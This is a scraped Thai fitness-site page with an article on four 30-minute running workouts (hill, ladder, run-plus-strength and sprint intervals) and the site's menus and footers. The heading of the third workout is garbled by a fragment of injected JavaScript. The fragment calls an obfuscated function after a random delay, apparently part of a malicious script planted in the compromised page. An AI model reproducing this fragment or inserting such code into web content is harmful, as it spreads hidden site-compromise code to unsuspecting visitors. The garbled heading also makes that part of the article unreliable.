• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

30-Minute Running Workouts: แผนการวิ่ง 30 นาที สำหรับคนมีเวลาน้อย

kan by kan
19 October 2019
in Running Tips
0
30-Minute Running Workouts: แผนการวิ่ง 30 นาที สำหรับคนมีเวลาน้อย
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ข้อดีของการออกกำลังกายด้วยวิธีการวิ่ง คือ เเม้คุณมีเวลาน้อย การปรับรูปแบบวิธีการวิ่งที่ใช้เวลาแค่ 30 นาที ก็ยังสามารถรีดเอาไขมันออกได้ แถมยังช่วยเพิ่มความแข็งแรงของกล้ามเนื้อ ความเร็วและความอึดได้ด้วย

30-Minute Running Workouts: แผนการวิ่ง 30 นาที สำหรับคนมีเวลาน้อย

Quick & effective running workouts: รูปแบบวิธีการวิ่งระยะสั้นๆ ภายในเวลา 30 นาทีและมีประสิทธิภาพได้แก่  

1. Hill Workout

วิธีนี้ก็คือการวิ่งขึ้นเขา หรือวิ่งไต่ความชัน ถ้าพื้นที่วิ่งไม่มีเนินสูงก็แนะนำให้ใช้ Treadmill แบบที่ปรับความชันได้ ซึ่งจะดีมากต่อการปรับองศาความชัน สามารถเลือกให้เหมาะกับระดับเลเวลนักวิ่งได้ ไม่เกิดความเครียดสะสมต่อข้อเข่ามากนัก โดยเฉพาะเวลาวิ่งลงเขาหรือ downhill 

Warm-up เดินหรือจ๊อกกิ้งเบาๆ 10 นาที และในช่วง 2-3 นาทีสุดท้าย ให้ปรับความเร็วขึ้น ปรับเร่งความเร็วสัก 10 วินาที ทำ 2-3 ครั้ง เพื่อให้ร่างกายพร้อมกับการวิ่งเร็ว

Main set ทำทั้งหมด 6-7 เซต

Work interval: ถ้าใช้ treadmill ให้ปรับความชัน 3-4% วิ่ง 1 นาที แต่ถ้าวิ่งข้างนอก ให้มองหาเนินความชันกลางๆ ที่สามารถวิ่งถึง 1 นาทีได้ จากนั้นให้วิ่งระดับ Hard (คล้ายๆ กับการวิ่งทำความเร็วระดับ 5K) หรือยังพอสามารถพูดเป็นคำๆ ได้อยู่

Recovery interval: ถ้าวิ่งบน Treadmill ปรับองศาลง 1% และผ่อนจังหวะวิ่งลงและวิ่ง recovery 1 นาที ถ้าเป็นการวิ่งข้างนอก จังหวะวิ่งลงนี้ก็ใช้ pace เบาๆ หรือเดินก็ได้ เพื่อให้การหายใจกลับสู่ระดับปกติ

Cool down: หลังจากจบการ recovery รอบสุดท้าย ให้จ๊อกเบาๆ เพื่อคูลดาวน์ 6 นาที

2. 30-Minute Ladder Workout

การวิ่งแบบต่อไปนี้จะทำให้นักวิ่งปรับ pace สูงขึ้นเรื่อยๆ รอบถัดไปของ interval ต้องเร็วกว่ารอบเก่า และจำไว้ว่าเวลาเริ่มต้น อย่าออกตัวเร็ว pace สูงๆ เลย ให้ค่อยๆ ปรับ pace สูงขึ้นเรื่อยๆ เอาให้สามารถจบ 4 รอบ interval และระหว่าง recovery ให้จ๊อกเบาๆ ถ้าไม่ไหวก็เดินเอา

  • Warm-up: จ๊อกกิ้ง 5 นาที
  • Working interval#1: วิ่ง pace ระดับกลางหรือ ระดับ 5 ใน 10 เป็นเวลา 5 นาที + Recovery 1 นาที
  • Working interval#2: วิ่ง pace ระดับกลางหรือ ระดับ 6 ใน 10 เป็นเวลา 4 นาที + Recovery 1 นาที
  • Working interval#3: วิ่ง pace ระดับสูงหรือ ระดับ 7 ใน 10 เป็นเวลา 3 นาที + Recovery 1 นาที
  • Working interval#4: วิ่ง pace ระดับสูงหรือ ระดับ 8 ใน 10 เป็นเวลา 2 นาที + Recovery 1 นาที
  • Working interval#3: วิ่ง pace ระดับสูงหรือ ระดับ 9 ใน 10 เป็นเวลา 1 นาที + Recovery 1 นาที
  • Cool-down: จ๊อกกิ้ง 5 นาที

3. Run andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Strength Combo Workout

รูปแบบการฝึกวิ่งที่ผสมกับการบริหารกล้ามเนื้อ แนะนำให้ใช้ท่าบริหารที่รู้จัก บริหารร่างกายออกเป็นส่วนๆ ตั้งแต่ Upper, Core และ Lower

  • Warm-up: จ๊อกกิ้ง 5 นาที
  • Run: วิ่ง 1 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ Squat 1 นาที
  • Run: วิ่ง 2 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ Walking lunges 1 นาที
  • Run: วิ่ง 3 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ donkey kicks 1 นาที
  • Run: วิ่ง 4 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ tricep dips 1 นาที
  • Run: วิ่ง 5 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ Push-up 1 นาที
  • Cool down: วิ่งจ๊อกกิ้ง 5 นาที

4. Sprint Intervals

  • Warm up: จ๊อกกิ้ง 5 นาที
  • Run: วิ่งเร็ว 30 วินาที เริ่มจากวิ่งเร็วก่อนอย่าเพิ่งใส่สุดเกียร์ตั้งแต่ต้น เซตต่อๆ ไปค่อยๆ เพิ่มความเร็ว
  • Recover: วิ่งที่ pace สบายๆ 1 นาที ไม่ไหวก็ให้เดิน
  • Repeat: ทำซ้ำอีกครั้ง โดย pace จะสูงขึ้นเรื่อยๆ จนได้ครบ 20 นาที
  • Cool down: จ๊อกกิ้ง 5 นาที

วิ่งสปริ้นท์ก็เพื่อเพิ่มความเร็ว ความแข็งแกร่งของร่างกาย และระบบ Aerobic เป็นการฝึกปรับรอบขานักวิ่งให้สูงขึ้น แนะนำให้ฝึกวิ่ง outdoor หรือในลู่วิ่งเป็นหลัก แต่ treadmill ก็ทำได้เช่นกัน  

อ้างอิง www.verywellfit.com

ShareTweetShare
kan

kan

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.